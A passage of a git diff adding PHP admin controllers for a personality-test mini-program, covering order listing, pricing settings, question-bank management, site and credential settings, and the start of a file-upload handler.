$q->whereLike('orderNo', '%' . $keyword . '%')->whereOr('userId', (int) $keyword); + }); + } else { + $userIdsMatch = Db::name('wechat_users')->where('nickname|phone', 'like', '%' . $keyword . '%')->column('id'); + $userIdsMatch = array_values(array_filter($userIdsMatch)); + $query->where(function ($q) use ($keyword, $userIdsMatch) { + $q->whereLike('orderNo', '%' . $keyword . '%'); + if (!empty($userIdsMatch)) { + $q->whereOr('userId', 'in', $userIdsMatch); + } + }); + } + } + + $query->order('createdAt', 'desc'); + $total = (int) (clone $query)->count(); + $list = (clone $query)->page($page, $pageSize)->select()->toArray(); + + $userIds = array_values(array_unique(array_filter(array_column($list, 'userId')))); + $usersMap = []; + if (!empty($userIds)) { + $users = Db::name('wechat_users') + ->where('id', 'in', $userIds) + ->field('id, nickname, phone') + ->select() + ->toArray(); + foreach ($users as $u) { + $usersMap[(int) $u['id']] = $u; + } + } + + $orderIds = array_column($list, 'id'); + $testsByOrder = []; + if (!empty($orderIds)) { + $tests = Db::name('test_results') + ->where('orderId', 'in', $orderIds) + ->field('id, orderId, userId, testType, resultData, createdAt') + ->order('createdAt', 'desc') + ->select() + ->toArray(); + foreach ($tests as $t) { + $oid = (int) ($t['orderId'] ?? 0); + if ($oid <= 0) { + continue; + } + if (!isset($testsByOrder[$oid])) { + $testsByOrder[$oid] = []; + } + $raw = $t['resultData'] ?? ''; + $resultStr = is_string($raw) ? $raw : json_encode($raw, JSON_UNESCAPED_UNICODE); + $testsByOrder[$oid][] = [ + 'id' => (int) $t['id'], + 'testType' => $t['testType'] ?? '', + 'resultSummary' => $this->extractResultSummary($t['testType'] ?? '', $resultStr), + 'createdAt' => isset($t['createdAt']) ? (int) $t['createdAt'] : null, + ]; + } + } + + foreach ($list as &$row) { + $uid = (int) ($row['userId'] ?? 0); + $u = $usersMap[$uid] ?? null; + $row['userName'] = $u ? ($u['nickname'] ?? ('用户' . $uid)) : ('用户' . $uid); + $row['userPhone'] = $u ? ($u['phone'] ?? '') : ''; + $row['testData'] = $testsByOrder[$row['id']] ?? []; + } + + return paginate_response($list, $total, $page, $pageSize); + } + + /** + * 从 resultData 字符串中提取简要结果(用于列表展示) + */ + private function extractResultSummary(string $testType, string $resultStr): string + { + if ($resultStr === '') { + return '-'; + } + $data = json_decode($resultStr, true); + if (!is_array($data)) { + return mb_substr($resultStr, 0, 30) . (mb_strlen($resultStr) > 30 ? '…' : ''); + } + $type = strtolower($testType); + + if ($type === 'mbti') { + return (string) ($data['mbtiType'] ?? $data['type'] ?? $data['result'] ?? ''); + } + if ($type === 'disc') { + $desc = $data['description']['type'] ?? null; + if (is_string($desc) && $desc !== '') { + return $desc; + } + if (!empty($data['dominantType'])) { + return (string) $data['dominantType'] . '型'; + } + return (string) ($data['disc'] ?? ''); + } + if ($type === 'pdp') { + $desc = $data['description']['type'] ?? null; + if (is_string($desc) && $desc !== '') { + return $desc; + } + if (!empty($data['dominantType'])) { + return (string) $data['dominantType']; + } + return (string) ($data['pdp'] ?? ''); + } + if ($type === 'face' || $type === 'ai') { + return '人脸分析'; + } + + return (string) ($data['type'] ?? $data['result'] ?? ''); + } +} diff --git a/api/app/controller/admin/Pricing.php b/api/app/controller/admin/Pricing.php new file mode 100644 index 0000000..a0fec11 --- /dev/null +++ b/api/app/controller/admin/Pricing.php @@ -0,0 +1,185 @@ +request->user ?? null; + if (!$user) { + return error('未登录', 401); + } + if (!in_array($user['role'], ['admin', 'enterprise_admin'])) { + return error('无权限访问', 403); + } + + try { + $enterpriseId = $this->resolveEnterpriseId($user); + + // ── 个人版定价 ── + $adminPersonalConfig = $this->queryConfig('admin_personal', $enterpriseId); + $superPersonalConfig = PricingConfigModel::where('type', 'personal')->whereNull('enterpriseId')->find(); + $personalConfig = $adminPersonalConfig + ? $adminPersonalConfig->config + : ($superPersonalConfig ? $superPersonalConfig->config : []); + $isUsingSuperAdminPersonalConfig = !$adminPersonalConfig; + + // ── 企业版定价 ── + $adminEnterpriseConfig = $enterpriseId + ? $this->queryConfig('admin_enterprise', $enterpriseId) + : null; + $superEnterpriseConfig = PricingConfigModel::where('type', 'enterprise')->whereNull('enterpriseId')->find(); + $enterpriseConfig = $adminEnterpriseConfig + ? $adminEnterpriseConfig->config + : ($superEnterpriseConfig ? $superEnterpriseConfig->config : []); + $isUsingSuperAdminEnterpriseConfig = !$adminEnterpriseConfig; + + return success([ + 'personal' => $personalConfig, + 'enterprise' => $enterpriseConfig, + 'isUsingSuperAdminConfig' => $isUsingSuperAdminPersonalConfig, + 'isUsingSuperAdminPersonalConfig' => $isUsingSuperAdminPersonalConfig, + 'isUsingSuperAdminEnterpriseConfig' => $isUsingSuperAdminEnterpriseConfig, + ]); + } catch (\Exception $e) { + return error('获取定价配置失败:' . $e->getMessage(), 500); + } + } + + /** + * 更新定价配置(个人版 + 企业版) + * PUT /api/v1/admin/pricing + * Body: { personalConfig: {...}, enterpriseConfig: {...} } + * 兼容旧格式:{ config: {...} } → 仅更新个人版 + */ + public function update() + { + $user = $this->request->user ?? null; + if (!$user) { + return error('未登录', 401); + } + if (!in_array($user['role'], ['admin', 'enterprise_admin'])) { + return error('无权限访问', 403); + } + + $rawBody = $this->request->getContent(); + if (empty($rawBody)) { + $rawBody = file_get_contents('php://input'); + } + $input = $rawBody ? json_decode($rawBody, true) : null; + if (!is_array($input)) { + $input = []; + } + + // 兼容旧版仅传 config 的情况 + $personalConfig = $input['personalConfig'] ?? $input['config'] ?? null; + $enterpriseConfig = $input['enterpriseConfig'] ?? null; + + if ($personalConfig === null && $enterpriseConfig === null) { + return error('配置数据不能为空', 400); + } + + try { + $enterpriseId = $this->resolveEnterpriseId($user); + + $result = []; + + // ── 保存个人版定价 ── + if ($personalConfig !== null) { + if (!is_array($personalConfig)) { + return error('个人版定价格式错误', 400); + } + foreach (['face', 'mbti', 'disc', 'pdp'] as $field) { + if (!array_key_exists($field, $personalConfig)) { + return error("个人版定价缺少字段:{$field}", 400); + } + } + $cfg = $this->queryConfig('admin_personal', $enterpriseId); + if (!$cfg) { + $cfg = PricingConfigModel::create([ + 'type' => 'admin_personal', + 'enterpriseId' => $enterpriseId, + 'config' => $personalConfig, + ]); + } else { + $cfg->config = $personalConfig; + $cfg->save(); + } + $result['personal'] = $cfg->config; + } + + // ── 保存企业版定价(仅企业管理员)── + if ($enterpriseConfig !== null) { + if (!$enterpriseId) { + return error('仅企业管理员可设置企业版定价', 403); + } + if (!is_array($enterpriseConfig)) { + return error('企业版定价格式错误', 400); + } + foreach (['face', 'mbti', 'disc', 'pdp'] as $field) { + if (!array_key_exists($field, $enterpriseConfig)) { + return error("企业版定价缺少字段:{$field}", 400); + } + } + $cfg = $this->queryConfig('admin_enterprise', $enterpriseId); + if (!$cfg) { + $cfg = PricingConfigModel::create([ + 'type' => 'admin_enterprise', + 'enterpriseId' => $enterpriseId, + 'config' => $enterpriseConfig, + ]); + } else { + $cfg->config = $enterpriseConfig; + $cfg->save(); + } + $result['enterprise'] = $cfg->config; + } + + return success($result, '定价配置已保存'); + } catch (\Exception $e) { + return error('保存失败:' . $e->getMessage(), 500); + } + } + + /** + * 从 JWT 用户信息中解析 enterpriseId + */ + private function resolveEnterpriseId(array $user): ?int + { + if (($user['role'] ?? '') !== 'enterprise_admin') { + return null; + } + $adminRow = Db::name('users')->where('id', $user['userId'] ?? 0)->find(); + $eid = $adminRow['enterpriseId'] ?? null; + return $eid ? (int) $eid : null; + } + + /** + * 按 type + enterpriseId 查询定价配置 + */ + private function queryConfig(string $type, ?int $enterpriseId): ?PricingConfigModel + { + $q = PricingConfigModel::where('type', $type); + if ($enterpriseId) { + $q->where('enterpriseId', $enterpriseId); + } else { + $q->whereNull('enterpriseId'); + } + return $q->find(); + } +} diff --git a/api/app/controller/admin/Question.php b/api/app/controller/admin/Question.php new file mode 100644 index 0000000..e2f19a4 --- /dev/null +++ b/api/app/controller/admin/Question.php @@ -0,0 +1,457 @@ +request->user ?? null; + + if (!$user) { + return error('未登录', 401); + } + + // 确定企业ID + $enterpriseId = null; + if ($user['role'] === 'enterprise_admin') { + // 企业管理员:使用自己的企业ID + $userModel = Db::name('users')->where('id', $user['userId'])->find(); + $enterpriseId = $userModel['enterpriseId'] ?? null; + } elseif ($user['role'] === 'admin') { + // 普通管理员:可以查看所有企业的题库,但优先显示超管题库 + $enterpriseId = Request::param('enterpriseId', null); + } else { + return error('无权限访问', 403); + } + + $page = Request::param('page', 1); + $pageSize = Request::param('pageSize', 20); + $type = Request::param('type', ''); // mbti/disc/pdp + $status = Request::param('status', ''); // 1启用/0禁用 + + $where = []; + + // 如果指定了企业ID,优先查询企业题库 + // 如果没有企业题库,则查询超管题库(enterpriseId = NULL) + if ($enterpriseId !== null) { + // 先检查企业是否有自己的题库 + $enterpriseQuestionCount = QuestionModel::where('enterpriseId', $enterpriseId) + ->where('type', $type ?: ['mbti', 'disc', 'pdp']) + ->count(); + + if ($enterpriseQuestionCount > 0) { + // 使用企业题库 + $where['enterpriseId'] = $enterpriseId; + } else { + // 使用超管题库 + $where['enterpriseId'] = null; + } + } else { + // 普通管理员查看超管题库 + $where['enterpriseId'] = null; + } + + // 类型筛选 + if ($type) { + $where['type'] = $type; + } + + // 状态筛选 + if ($status !== '') { + $where['status'] = $status; + } + + // 查询题库列表 + $list = QuestionModel::where($where) + ->order('sort', 'asc') + ->order('id', 'asc') + ->page($page, $pageSize) + ->select() + ->toArray(); + + // 处理 options 字段,确保返回数组格式 + foreach ($list as &$item) { + if (isset($item['options'])) { + // 如果是对象格式(stdClass),先转换为数组 + if (is_object($item['options'])) { + $item['options'] = json_decode(json_encode($item['options']), true); + } + // 如果是关联数组(不是索引数组),转换为索引数组 + if (is_array($item['options']) && !isset($item['options'][0])) { + $item['options'] = array_values($item['options']); + } + } + } + unset($item); + + // 总数 + $total = QuestionModel::where($where)->count(); + + // 标识当前使用的是企业题库还是超管题库 + $isUsingSuperAdminBank = ($where['enterpriseId'] === null); + + return success([ + 'list' => $list, + 'total' => $total, + 'page' => $page, + 'pageSize' => $pageSize, + 'isUsingSuperAdminBank' => $isUsingSuperAdminBank, + 'enterpriseId' => $enterpriseId + ]); + } + + /** + * 获取题目详情 + * @param int $id + * @return \think\response\Json + */ + public function detail($id) + { + $user = $this->request->user ?? null; + + if (!$user) { + return error('未登录', 401); + } + + // 确定企业ID + $enterpriseId = null; + if ($user['role'] === 'enterprise_admin') { + $userModel = Db::name('users')->where('id', $user['userId'])->find(); + $enterpriseId = $userModel['enterpriseId'] ?? null; + } elseif ($user['role'] === 'admin') { + $enterpriseId = Request::param('enterpriseId', null); + } else { + return error('无权限访问', 403); + } + + // 先查询企业题库,如果没有则查询超管题库 + $question = null; + if ($enterpriseId !== null) { + $question = QuestionModel::where('id', $id) + ->where('enterpriseId', $enterpriseId) + ->find(); + } + + if (!$question) { + $question = QuestionModel::where('id', $id) + ->where('enterpriseId', null) + ->find(); + } + + if (!$question) { + return error('题目不存在', 404); + } + + $data = $question->toArray(); + + // 处理 options 字段,确保返回数组格式 + if (isset($data['options'])) { + // 如果是对象格式(stdClass),先转换为数组 + if (is_object($data['options'])) { + $data['options'] = json_decode(json_encode($data['options']), true); + } + // 如果是关联数组(不是索引数组),转换为索引数组 + if (is_array($data['options']) && !isset($data['options'][0])) { + $data['options'] = array_values($data['options']); + } + } + + return success($data); + } + + /** + * 创建题目(企业管理员只能创建自己企业的题目) + * @return \think\response\Json + */ + public function create() + { + $user = $this->request->user ?? null; + + if (!$user) { + return error('未登录', 401); + } + + // 只有企业管理员可以创建题目 + if ($user['role'] !== 'enterprise_admin') { + return error('只有企业管理员可以创建题目', 403); + } + + // 获取企业ID + $userModel = Db::name('users')->where('id', $user['userId'])->find(); + $enterpriseId = $userModel['enterpriseId'] ?? null; + + if (!$enterpriseId) { + return error('企业信息不存在', 400); + } + + $data = Request::only(['type', 'question', 'options', 'dimension', 'sort', 'status']); + + // 验证必填字段 + if (empty($data['type']) || empty($data['question']) || empty($data['options'])) { + return error('题目类型、题目内容和选项不能为空', 400); + } + + // 验证类型 + if (!in_array($data['type'], ['mbti', 'disc', 'pdp'])) { + return error('题目类型必须是 mbti、disc 或 pdp', 400); + } + + // 验证选项格式 + if (!is_array($data['options'])) { + return error('选项必须是数组格式', 400); + } + + // MBTI类型需要dimension字段 + if ($data['type'] === 'mbti' && empty($data['dimension'])) { + return error('MBTI类型题目必须指定维度(EI/SN/TF/JP)', 400); + } + + // 设置企业ID + $data['enterpriseId'] = $enterpriseId; + + // 设置默认值 + $data['sort'] = $data['sort'] ?? 0; + $data['status'] = $data['status'] ?? 1; + + // 创建题目 + $question = QuestionModel::create($data); + + return success($question->toArray(), '创建成功'); + } + + /** + * 更新题目(企业管理员只能更新自己企业的题目) + * @param int $id + * @return \think\response\Json + */ + public function update($id) + { + $user = $this->request->user ?? null; + + if (!$user) { + return error('未登录', 401); + } + + // 只有企业管理员可以更新题目 + if ($user['role'] !== 'enterprise_admin') { + return error('只有企业管理员可以更新题目', 403); + } + + // 获取企业ID + $userModel = Db::name('users')->where('id', $user['userId'])->find(); + $enterpriseId = $userModel['enterpriseId'] ?? null; + + if (!$enterpriseId) { + return error('企业信息不存在', 400); + } + + // 只能更新自己企业的题目 + $question = QuestionModel::where('id', $id) + ->where('enterpriseId', $enterpriseId) + ->find(); + + if (!$question) { + return error('题目不存在或无权限修改', 404); + } + + $data = Request::only(['type', 'question', 'options', 'dimension', 'sort', 'status']); + + // 验证类型 + if (isset($data['type']) && !in_array($data['type'], ['mbti', 'disc', 'pdp'])) { + return error('题目类型必须是 mbti、disc 或 pdp', 400); + } + + // 验证选项格式 + if (isset($data['options']) && !is_array($data['options'])) { + return error('选项必须是数组格式', 400); + } + + // MBTI类型需要dimension字段 + if (($data['type'] ?? $question->type) === 'mbti' && empty($data['dimension'] ?? $question->dimension)) { + return error('MBTI类型题目必须指定维度(EI/SN/TF/JP)', 400); + } + + // 更新题目 + $question->save($data); + + return success($question->toArray(), '更新成功'); + } + + /** + * 删除题目(软删除,企业管理员只能删除自己企业的题目) + * @param int $id + * @return \think\response\Json + */ + public function delete($id) + { + $user = $this->request->user ?? null; + + if (!$user) { + return error('未登录', 401); + } + + // 只有企业管理员可以删除题目 + if ($user['role'] !== 'enterprise_admin') { + return error('只有企业管理员可以删除题目', 403); + } + + // 获取企业ID + $userModel = Db::name('users')->where('id', $user['userId'])->find(); + $enterpriseId = $userModel['enterpriseId'] ?? null; + + if (!$enterpriseId) { + return error('企业信息不存在', 400); + } + + // 只能删除自己企业的题目 + $question = QuestionModel::where('id', $id) + ->where('enterpriseId', $enterpriseId) + ->find(); + + if (!$question) { + return error('题目不存在或无权限删除', 404); + } + + // 执行软删除 + $question->delete(); + + return success(null, '删除成功'); + } + + /** + * 批量导入题目(企业管理员) + * @return \think\response\Json + */ + public function batchImport() + { + $user = $this->request->user ?? null; + + if (!$user) { + return error('未登录', 401); + } + + // 只有企业管理员可以导入题目 + if ($user['role'] !== 'enterprise_admin') { + return error('只有企业管理员可以导入题目', 403); + } + + // 获取企业ID + $userModel = Db::name('users')->where('id', $user['userId'])->find(); + $enterpriseId = $userModel['enterpriseId'] ?? null; + + if (!$enterpriseId) { + return error('企业信息不存在', 400); + } + + $questions = Request::param('questions', []); + + if (empty($questions) || !is_array($questions)) { + return error('题目数据不能为空', 400); + } + + $successCount = 0; + $failCount = 0; + $errors = []; + + Db::startTrans(); + try { + foreach ($questions as $index => $q) { + // 验证必填字段 + if (empty($q['type']) || empty($q['question']) || empty($q['options'])) { + $failCount++; + $errors[] = "第" . ($index + 1) . "题:题目类型、题目内容和选项不能为空"; + continue; + } + + // 验证类型 + if (!in_array($q['type'], ['mbti', 'disc', 'pdp'])) { + $failCount++; + $errors[] = "第" . ($index + 1) . "题:题目类型必须是 mbti、disc 或 pdp"; + continue; + } + + // MBTI类型需要dimension字段 + if ($q['type'] === 'mbti' && empty($q['dimension'])) { + $failCount++; + $errors[] = "第" . ($index + 1) . "题:MBTI类型题目必须指定维度"; + continue; + } + + // 设置企业ID + $q['enterpriseId'] = $enterpriseId; + $q['sort'] = $q['sort'] ?? ($index + 1); + $q['status'] = $q['status'] ?? 1; + + QuestionModel::create($q); + $successCount++; + } + + Db::commit(); + } catch (\Exception $e) { + Db::rollback(); + return error('批量导入失败:' . $e->getMessage(), 500); + } + + return success([ + 'successCount' => $successCount, + 'failCount' => $failCount, + 'errors' => $errors + ], "成功导入 {$successCount} 题,失败 {$failCount} 题"); + } + + /** + * 切换题目状态 + * @param int $id + * @return \think\response\Json + */ + public function toggleStatus($id) + { + $user = $this->request->user ?? null; + + if (!$user) { + return error('未登录', 401); + } + + // 只有企业管理员可以切换状态 + if ($user['role'] !== 'enterprise_admin') { + return error('只有企业管理员可以切换题目状态', 403); + } + + // 获取企业ID + $userModel = Db::name('users')->where('id', $user['userId'])->find(); + $enterpriseId = $userModel['enterpriseId'] ?? null; + + if (!$enterpriseId) { + return error('企业信息不存在', 400); + } + + // 只能操作自己企业的题目 + $question = QuestionModel::where('id', $id) + ->where('enterpriseId', $enterpriseId) + ->find(); + + if (!$question) { + return error('题目不存在或无权限操作', 404); + } + + $question->status = $question->status == 1 ? 0 : 1; + $question->save(); + + return success($question->toArray(), '状态更新成功'); + } +} + diff --git a/api/app/controller/admin/Settings.php b/api/app/controller/admin/Settings.php new file mode 100644 index 0000000..f265e4c --- /dev/null +++ b/api/app/controller/admin/Settings.php @@ -0,0 +1,418 @@ +request->user ?? null; + + if (!$user) { + return error('未登录', 401); + } + + // 验证是否为管理员 + if (!in_array($user['role'], ['admin', 'enterprise_admin'])) { + return error('无权限访问', 403); + } + + try { + // 获取当前管理员用户名 + $jwtUsername = $user['username'] ?? null; + $username = 'admin'; + + if ($jwtUsername) { + $currentUser = UserModel::where('username', $jwtUsername) + ->whereIn('role', ['admin', 'enterprise_admin']) + ->find(); + if ($currentUser) { + $username = $currentUser->username; + } else { + $username = $jwtUsername; + } + } + + return success([ + 'username' => $username + ]); + } catch (\Exception $e) { + return error('获取配置失败:' . $e->getMessage(), 500); + } + } + + /** + * 获取可用字体列表 + * GET /api/v1/admin/settings/fonts + */ + public function getFonts() + { + $user = $this->request->user ?? null; + if (!$user || !in_array($user['role'], ['admin', 'enterprise_admin'])) { + return error('无权限访问', 403); + } + $fonts = \app\common\service\PosterService::getAvailableFonts(); + return success([ + 'fonts' => $fonts, + 'fontDir' => root_path() . 'public/fonts/', + 'dirExist' => is_dir(root_path() . 'public/fonts/'), + ]); + } + + /** + * 获取海报配置 + * GET /api/v1/admin/settings/poster + * 有 enterpriseId 则读企业专属行,否则读全局(enterprise_id=0) + */ + public function getPosterConfig() + { + $user = $this->request->user ?? null; + if (!$user || !in_array($user['role'], ['admin', 'enterprise_admin'])) { + return error('无权限访问', 403); + } + + $eid = (int)($user['enterpriseId'] ?? 0); + $row = self::getConfig('poster_config', $eid); + $poster = $row ?: ['bgColor' => '#ffffff', 'bgImage' => '', 'elements' => []]; + return success(['poster' => $poster]); + } + + /** + * 保存海报配置 + * PUT /api/v1/admin/settings/poster + */ + public function updatePosterConfig() + { + $user = $this->request->user ?? null; + if (!$user || !in_array($user['role'], ['admin', 'enterprise_admin'])) { + return error('无权限访问', 403); + } + + $input = json_decode($this->request->getContent(), true); + if (!is_array($input)) { + $input = []; + } + $data = [ + 'bgColor' => $input['bgColor'] ?? '#ffffff', + 'bgImage' => $input['bgImage'] ?? '', + 'elements' => $input['elements'] ?? [] + ]; + $eid = (int)($user['enterpriseId'] ?? 0); + + try { + self::saveConfig('poster_config', $data, $eid, '分销海报可视化配置'); + return success(null, '海报配置已保存'); + } catch (\Exception $e) { + return error('保存失败:' . $e->getMessage(), 500); + } + } + + /** + * 读取配置:key + enterprise_id,有企业专属则取,否则降级到 enterprise_id=0 + */ + private static function getConfig(string $key, int $enterpriseId = 0, bool $fallbackGlobal = false): ?array + { + $row = Db::name('system_config') + ->where('key', $key) + ->where('enterprise_id', $enterpriseId) + ->find(); + if ($row && !empty($row['value'])) { + $val = is_string($row['value']) ? json_decode($row['value'], true) : $row['value']; + if (is_array($val)) return $val; + } + if ($fallbackGlobal && $enterpriseId > 0) { + $row = Db::name('system_config') + ->where('key', $key) + ->where('enterprise_id', 0) + ->find(); + if ($row && !empty($row['value'])) { + $val = is_string($row['value']) ? json_decode($row['value'], true) : $row['value']; + if (is_array($val)) return $val; + } + } + return null; + } + + /** + * 保存配置:key + enterprise_id,存在则 update,否则 insert + */ + private static function saveConfig(string $key, array $value, int $enterpriseId = 0, string $description = ''): void + { + $now = time(); + $json = json_encode($value, JSON_UNESCAPED_UNICODE); + $exists = Db::name('system_config') + ->where('key', $key) + ->where('enterprise_id', $enterpriseId) + ->find(); + if ($exists) { + Db::name('system_config') + ->where('key', $key) + ->where('enterprise_id', $enterpriseId) + ->update(['value' => $json, 'updatedAt' => $now]); + } else { + Db::name('system_config')->insert([ + 'key' => $key, + 'enterprise_id' => $enterpriseId, + 'value' => $json, + 'description' => $description, + 'createdAt' => $now, + 'updatedAt' => $now, + ]); + } + } + + /** + * 安全解码 JSON(处理可能的多重编码) + */ + private static function decodeJsonSafe($raw): ?array + { + if (!$raw) return null; + $val = $raw; + for ($i = 0; $i < 5 && is_string($val); $i++) { + $decoded = json_decode($val, true); + if ($decoded === null && json_last_error() !== JSON_ERROR_NONE) break; + $val = $decoded; + } + return is_array($val) ? $val : null; + } + + /** + * 获取小程序配置 + * 读取全局 text_config(enterprise_id=0)作为默认值,再用企业专属行覆盖 + * GET /api/v1/admin/settings/miniprogram + */ + public function getMiniprogramConfig() + { + $user = $this->request->user ?? null; + if (!$user || !in_array($user['role'], ['admin', 'enterprise_admin'])) { + return error('无权限访问', 403); + } + + try { + $eid = (int)($user['enterpriseId'] ?? 0); + + // 全局小程序名称(仅超管可改,此处只读) + $miniprogramName = '神仙团队AI性格测试'; + $siteInfo = Db::name('system_config') + ->where('key', 'site_info') + ->where('enterprise_id', 0) + ->find(); + if ($siteInfo && !empty($siteInfo['value'])) { + $val = is_string($siteInfo['value']) ? json_decode($siteInfo['value'], true) : $siteInfo['value']; + $miniprogramName = (string) ($val['miniprogramName'] ?? $val['siteName'] ?? $miniprogramName); + } + + $tcDefaults = [ + 'analyzingTitle' => '正在分析中', + 'startButtonText' => '开始面相测试', + 'startButtonEnterprise' => '开始面部测试', + 'reportTitle' => '分析报告', + 'aiAnalysisText' => '智能分析', + ]; + + // 全局文案(enterprise_id=0)作为基础 + $globalTc = self::getConfig('text_config', 0); + $textConfigData = $globalTc + ? array_merge($tcDefaults, array_intersect_key($globalTc, $tcDefaults)) + : $tcDefaults; + + // 企业专属文案 + 小程序名称 覆盖 + if ($eid > 0) { + $eidTc = self::getConfig('text_config', $eid); + if ($eidTc) { + $textConfigData = array_merge($textConfigData, array_intersect_key($eidTc, $tcDefaults)); + if (!empty($eidTc['miniprogramName'])) { + $miniprogramName = (string) $eidTc['miniprogramName']; + } + } + } + + return success([ + 'miniprogramName' => $miniprogramName, + 'textConfig' => $textConfigData, + ]); + } catch (\Exception $e) { + return error('获取配置失败:' . $e->getMessage(), 500); + } + } + + /** + * 更新小程序配置 + * 写入 text_config 行:enterprise_id={eid}(有企业)或 0(无企业) + * PUT /api/v1/admin/settings/miniprogram + */ + public function updateMiniprogramConfig() + { + $user = $this->request->user ?? null; + if (!$user || !in_array($user['role'], ['admin', 'enterprise_admin'])) { + return error('无权限访问', 403); + } + + $rawBody = $this->request->getContent(); + if (empty($rawBody)) { + $rawBody = file_get_contents('php://input'); + } + $input = $rawBody ? json_decode($rawBody, true) : null; + if (!is_array($input)) { + $input = [ + 'miniprogramName' => Request::param('miniprogramName', ''), + 'textConfig' => Request::param('textConfig', []), + ]; + } + + $miniprogramName = trim((string) ($input['miniprogramName'] ?? '')); + $textConfig = $input['textConfig'] ?? []; + + if ($miniprogramName === '') { + return error('小程序名称不能为空', 400); + } + + $tcKeys = ['analyzingTitle', 'startButtonText', 'startButtonEnterprise', 'reportTitle', 'aiAnalysisText']; + $tcDefaults = [ + 'analyzingTitle' => '正在分析中', + 'startButtonText' => '开始面相测试', + 'startButtonEnterprise' => '开始面部测试', + 'reportTitle' => '分析报告', + 'aiAnalysisText' => '智能分析', + ]; + $tcData = is_array($textConfig) ? array_intersect_key($textConfig, array_flip($tcKeys)) : []; + $tcMerge = array_merge($tcDefaults, $tcData); + $eid = (int)($user['enterpriseId'] ?? 0); + + try { + // eid=0:更新 site_info 的小程序名称(全局) + if ($eid === 0) { + $siteRow = Db::name('system_config')->where('key', 'site_info')->where('enterprise_id', 0)->find(); + $siteInfo = $siteRow && !empty($siteRow['value']) + ? (is_string($siteRow['value']) ? json_decode($siteRow['value'], true) : $siteRow['value']) + : []; + $siteInfo = is_array($siteInfo) ? $siteInfo : []; + $siteInfo['miniprogramName'] = $miniprogramName; + $siteInfo['siteName'] = $siteInfo['siteName'] ?? $miniprogramName; + $siteInfo['updatedAt'] = time(); + self::saveConfig('site_info', $siteInfo, 0, '站点信息'); + } else { + // 企业专属:把 miniprogramName 一并写入 text_config + $tcMerge['miniprogramName'] = $miniprogramName; + } + + // 统一写到 text_config(企业行已含 miniprogramName,全局行不含) + self::saveConfig('text_config', $tcMerge, $eid, $eid > 0 ? "小程序文案配置(企业{$eid})" : '小程序文案配置(全局)'); + return success([ + 'miniprogramName' => $miniprogramName, + 'textConfig' => $tcMerge, + ], '小程序配置已保存'); + } catch (\Exception $e) { + return error('保存失败:' . $e->getMessage(), 500); + } + } + + /** + * 更新管理员账户信息 + * @return \think\response\Json + */ + public function updateCredentials() + { + $user = $this->request->user ?? null; + + if (!$user) { + return error('未登录', 401); + } + + // 验证是否为管理员 + if (!in_array($user['role'], ['admin', 'enterprise_admin'])) { + return error('无权限访问', 403); + } + + // 兼容 axios JSON PUT 与表单提交 + $rawBody = $this->request->getContent(); + if (empty($rawBody)) { + $rawBody = file_get_contents('php://input'); + } + $input = $rawBody ? json_decode($rawBody, true) : null; + if (!is_array($input)) { + $input = []; + } + + $username = trim((string)($input['username'] ?? Request::param('username', ''))); + $currentPassword = (string)($input['currentPassword'] ?? Request::param('currentPassword', '')); + $newPassword = (string)($input['newPassword'] ?? Request::param('newPassword', '')); + $confirmPassword = (string)($input['confirmPassword'] ?? Request::param('confirmPassword', '')); + + if (empty($username)) { + return error('用户名不能为空', 400); + } + + try { + // 优先使用JWT中的username来查找用户 + $jwtUsername = $user['username'] ?? null; + + if (empty($jwtUsername)) { + return error('无法获取用户信息,请重新登录', 400); + } + + // 直接通过username查找用户 + $userModel = UserModel::where('username', $jwtUsername) + ->whereIn('role', ['admin', 'enterprise_admin']) + ->find(); + + if (!$userModel) { + return error('用户不存在,请检查登录状态', 404); + } + + // 如果要修改密码,需要验证当前密码 + if (!empty($newPassword)) { + if (empty($currentPassword)) { + return error('请输入当前密码', 400); + } + + if ($newPassword !== $confirmPassword) { + return error('两次输入的密码不一致', 400); + } + + // 验证当前密码(User 模型已有原始加密密码) + if (!password_verify($currentPassword, $userModel->password)) { + return error('当前密码错误', 400); + } + + // 更新密码:传入明文,交由 User 模型的 setPasswordAttr 自动加密 + $userModel->password = $newPassword; + } + + // 更新用户名 + if ($username !== $userModel->username) { + // 检查用户名是否已存在(排除当前用户) + $exists = UserModel::where('username', $username) + ->where('id', '<>', $userModel->id) + ->find(); + + if ($exists) { + return error('用户名已存在', 400); + } + + $userModel->username = $username; + } + + $userModel->save(); + + return success([ + 'username' => $userModel->username + ], '账户信息已更新'); + } catch (\Exception $e) { + return error('更新失败:' . $e->getMessage(), 500); + } + } +} + diff --git a/api/app/controller/admin/Upload.php b/api/app/controller/admin/Upload.php new file mode 100644 index 0000000..f5e7e93 --- /dev/null +++ b/api/app/controller/admin/Upload.php @@ -0,0 +1,347 @@ +extension()); + $fileSize = $file->getSize(); + + if (!in_array($extension, $allowExts, true)) { + return error('不支持的文件类型,仅支持:jpg、jpeg、jfif、png、gif、webp、heic'); + } + + if ($fileSize > $maxSize) { + return error('文件过大,最大支持 5MB'); + } + + $config = config('upload'); + $driver = $config['driver'] ?? 'oss'; + + try { + if ($driver === 'oss') { + $result = $this->uploadToOss($file, $config['oss'] ?? []); + } else { + $result = $this->uploadToLocal($file, $config['local'] ?? []); + } + } catch (\Throwable $e) { + return error('上传失败:' . $e->getMessage()); + } + + return success($result, '上传成功'); + } + + /** + * 上传文件(简历等,可包含图片 / PDF / Word) + * @return \think\response\Json + */ + public function file() + { + $file = Request::file('file'); + + if (!$file) { + return error('未找到上传文件'); + } + + // 基本校验:大小 & 类型(放宽为 10MB) + $maxSize = 10 * 1024 * 1024; // 10MB + $allowExts = ['jpg', 'jpeg', 'png', 'gif', 'webp', 'pdf', 'doc', 'docx']; + $extension = strtolower($file->extension()); + $fileSize = $file->getSize(); + + if (!in_array($extension, $allowExts, true)) { + return error('不支持的文件类型,仅支持:jpg、jpeg、png、gif、webp、pdf、doc、docx'); + } + + if ($fileSize > $maxSize) { + return error('文件过大,最大支持 10MB'); + } + + $config = config('upload'); + $driver = $config['driver'] ?? 'oss'; + + try { + if ($driver === 'oss') { + $result = $this->uploadToOss($file, $config['oss'] ?? []); + } else { + $result = $this->uploadToLocal($file, $config['local'] ?? []); + } + } catch (\Throwable $e) { + return error('上传失败:' . $e->getMessage()); + } + + return success($result, '上传成功'); + } + + /** + * 本地上传 + */ + protected function uploadToLocal($file, array $config): array + { + $root = $config['root'] ?? (app()->getRootPath() . 'public/uploads'); + $driver = 'local'; + + // 先计算文件哈希,用于去重 + $hash = md5_file($file->getPathname()); + $mimeType = $this->getFileMimeSafe($file); + $size = $file->getSize(); + $extension = strtolower($file->extension()); + + // 如果已存在相同文件(同一驱动 + hash),直接返回 + 